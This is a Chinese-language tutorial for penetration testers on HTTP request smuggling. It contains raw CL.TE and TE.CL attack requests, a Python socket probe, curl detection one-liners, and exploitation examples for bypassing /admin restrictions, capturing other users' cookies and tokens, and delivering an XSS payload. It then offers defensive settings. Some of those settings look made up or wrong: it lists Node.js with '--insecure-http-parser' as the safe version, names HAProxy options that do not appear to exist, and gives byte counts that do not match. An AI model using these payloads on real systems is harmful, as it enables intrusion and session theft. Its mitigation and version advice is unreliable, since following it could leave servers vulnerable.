适合人群:有一定Web安全基础的渗透测试工程师、漏洞研究员
前置知识:HTTP协议基础、Burp Suite基本操作、反向代理/负载均衡概念
一、前置准备
工具安装
# Burp Suite(核心工具,Pro/Community均可)
# HTTP Request Smuggler 插件(Burp BApp Store安装)
# 或 Python 手工测试脚本
pip3 install requests
# 在线靶场(推荐 PortSwigger 官方靶场)
# https://portswigger.net/web-security/request-smuggling
本地靶场搭建
# 使用 Docker 搭建 HAProxy + Apache 双栈测试环境
cat > docker-compose.yml << 'EOF'
version: '3'
services:
frontend:
image: haproxy:2.4
ports:
- "8080:80"
volumes:
- ./haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg
backend:
image: httpd:2.4
environment:
- APACHE_RUN_USER=www-data
EOF
# HAProxy 配置(可配置为 CL 优先或 TE 优先)
cat > haproxy.cfg << 'EOF'
global
daemon
defaults
mode http
option http-keep-alive
timeout connect 5000
timeout client 50000
timeout server 50000
frontend http-in
bind *:80
default_backend servers
backend servers
server backend1 backend:80
EOF
二、核心原理
什么是HTTP请求走私?
HTTP请求走私(HTTP Request Smuggling)利用前端代理(反向代理/负载均衡)和后端服务器对HTTP请求边界解析的差异,将一条请求中的部分数据"走私"到下一条请求中。
本质:前端和后端对 Content-Length(CL)和 Transfer-Encoding(TE)两个头的优先级判断不一致。
两种关键头部
| 头部 | 作用 | 解析规则 |
|---|---|---|
Content-Length | 指定请求体的字节长度 | 读够N个字节就认为请求结束 |
Transfer-Encoding: chunked | 分块传输编码,以0\r\n\r\n结束 | 每块有自身长度声明 |
五种走私类型
| 类型 | 前端解析 | 后端解析 | 说明 |
|---|---|---|---|
| CL.TE | 用CL | 用TE | 最常见 |
| TE.CL | 用TE | 用CL | 次常见 |
| TE.TE | TE(容错) | TE(不同容错) | 头部混淆 |
| CL.CL | CL(第一个) | CL(第二个) | 双CL头 |
| TE.TE变种 | TE(正常) | TE(畸形) | 换行符差异 |
三、实操步骤
场景一:CL.TE 攻击(最常见)
前端用Content-Length,后端用Transfer-Encoding。
POST / HTTP/1.1
Host: target.com
Content-Length: 44
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
解析差异:
前端(CL=44):收到44字节 → 一个完整请求 ✅
POST / + 0\r\n\r\n + GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n
→ 刚好44字节
后端(TE):分块方式解析
第一块:0\r\n\r\n → 长度为0 → 请求结束
GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n → 下一个请求!
→ 走私成功 ✅
场景二:TE.CL 攻击
前端用Transfer-Encoding,后端用Content-Length。
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
POST /admin HTTP/1.1
Host: target.com
Content-Length: 15
x=1
0
解析差异:
前端(TE):分块解析
第一块长度 5c(92字节)= "POST /admin..." 全部内容
第二块 0 → 请求结束 ✅
后端(CL=4):只读4字节 → 读到 "5c\r\n"
剩余的 "POST /admin..." 全部 → 下一条请求!
→ 走私成功 ✅
场景三:TE.TE 混淆(头处理差异)
利用前后端对畸形TE头的容错差异:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
0
GET /admin HTTP/1.1
Host: target.com
| 服务器 | 行为 |
|---|---|
| Apache | 忽略第二个TE,用chunked |
| Nginx | 处理第一个TE=chunked |
| HAProxy | 处理第二个TE=xchunked(忽略) |
场景四:CL.CL 双Content-Length
POST / HTTP/1.1
Host: target.com
Content-Length: 5
Content-Length: 10
12345
| 服务器 | 行为 |
|---|---|
| Apache | 用最后一个CL=10 |
| Nginx | 报错400 |
| HAProxy | 用第一个CL=5 |
四、检测技巧
时间延迟检测法(最可靠)
利用前后端解析差异导致的后端请求挂起:
CL.TE 检测:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
发送后如果超时(约10-30秒无响应),说明后端在等「X」之后的chunked数据 → 后端用了TE → CL.TE漏洞存在。
TE.CL 检测:
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
X
0
发送后超时 → 后端在等CL声明的剩余字节 → TE.CL漏洞存在。
Burp Suite 自动化检测
# 安装 HTTP Request Smuggler 插件后
# 右键 → Extensions → HTTP Request Smuggler → Smuggle (CL.TE) / (TE.CL)
# 或批量扫描:选中所有请求 → Launch smuggle probe
Python 手工检测脚本
import socket
def test_clte(host, port=80):
"""CL.TE 超时检测"""
sock = socket.socket()
sock.settimeout(10)
sock.connect((host, port))
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Length: 6\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"X"
)
sock.send(payload.encode())
try:
response = sock.recv(4096).decode(errors='ignore')
# 如果快速返回 → 后端用CL → 不是CL.TE
# 如果超时(socket.timeout)→ 后端用TE → CL.TE漏洞存在
print(f"快速响应(非CL.TE): {response[:100]}")
except socket.timeout:
print("✅ CL.TE 漏洞存在(超时)!")
sock.close()
test_clte("target.com", 80)
五、实战利用
5.1 绕过前端访问控制
场景: 前端代理限制了 /admin 路径,但后端没有。
POST / HTTP/1.1
Host: target.com
Content-Length: 55
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
Content-Length: 10
x=1
使得 GET /admin 作为走私请求绕过了前端的路径校验。
5.2 窃取其他用户的请求内容
场景: 走私请求将下一条用户请求的参数重定向到攻击者控制的路径。
POST / HTTP/1.1
Host: target.com
Content-Length: 75
Transfer-Encoding: chunked
0
POST /capture HTTP/1.1
Host: target.com
Content-Length: 200
x=1
当后续用户请求到达时,其请求头+请求体的一部分会成为 POST /capture 的body,如果攻击者能访问这个日志,就能窃取其他用户的Cookie、Token等敏感信息。
5.3 反射型XSS升级为存储型
将反射型XSS通过走私请求注入到后续用户的响应中,实现一次触发、影响多个用户。
POST / HTTP/1.1
Host: target.com
Content-Length: 70
Transfer-Encoding: chunked
0
GET /<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
如果后端将404错误信息拼入响应,后续请求的响应中就可能包含XSS payload。
六、防御建议
服务端配置
# Nginx 拒绝非法请求
server {
# 拒绝同时包含CL和TE的请求
if ($http_transfer_encoding != "") {
set $smuggling "1";
}
if ($http_content_length != "") {
set $smuggling "${smuggling}2";
}
if ($smuggling = "12") {
return 400;
}
}
# 或使用 HTTP/2(消除CL/TE歧义问题)
listen 443 ssl http2;
# Apache — 禁用分块编码的使用
# 升级到 Apache 2.4.58+ 修复已知走私漏洞
# HAProxy — 配置严格模式
option http-ignore-expected-transfer-encoding
option http-restrict-req-l10n
最佳实践
| 措施 | 效果 |
|---|---|
| 使用HTTP/2 | 从协议层面消除CL/TE歧义 |
| 前端拒绝歧义请求 | 同时出现CL+TE时直接400 |
| 统一前后端HTTP实现 | 避免不同服务器解析差异 |
| WAF规则 | 过滤非法的分块编码格式 |
| 升级到最新版本 | 各Web服务器已修复已知走私变种 |
七、常见陷阱
| 陷阱 | 说明 |
|---|---|
| CL必须精确 | CL值多一个字节少一个字节都导致走私失败 |
| 换行符必须是CRLF | \r\n 不能写成 \n,某些服务器会拒绝 |
| 分块格式必须正确 | 长度\r\n内容\r\n,长度是十六进制 |
| Burp自动补全 | Burp Repeater会自动计算CL,需要手动锁定 |
| HTTPS不影响 | 走私是在HTTP协议层,与传输层加密无关 |
| 有些WAF直接拦截 | 多个CL/TE头会被某些WAF直接阻断 |
八、总结速查表
HTTP请求走私类型对照
| 类型 | 前端 | 后端 | 检测方法 | 利用难度 |
|---|---|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding | 超时检测 | ⭐⭐ |
| TE.CL | Transfer-Encoding | Content-Length | 超时检测 | ⭐⭐⭐ |
| TE.TE | TE(chunked) | TE(畸形) | 响应差异 | ⭐⭐⭐⭐ |
| CL.CL | CL(第一个) | CL(第二个) | 响应差异 | ⭐ |
快速检测Payload
# CL.TE 检测
curl -v -H "Transfer-Encoding: chunked" \
-d $'0\r\n\r\nX' \
http://target.com/
# TE.CL 检测
curl -v -H "Transfer-Encoding: chunked" \
-H "Content-Length: 4" \
-d $'5c\r\nX\r\n0\r\n\r\n' \
http://target.com/
修复版本参考
| 软件 | 安全版本 |
|---|---|
| Nginx | 1.25.0+(关闭/ignore Transfer-Encoding) |
| Apache | 2.4.58+ |
| HAProxy | 2.8+ |
| IIS | 10.0+(默认安全) |
| Gunicorn | 22.0+ |
| Node.js http | 20.x+(使用--insecure-http-parser) |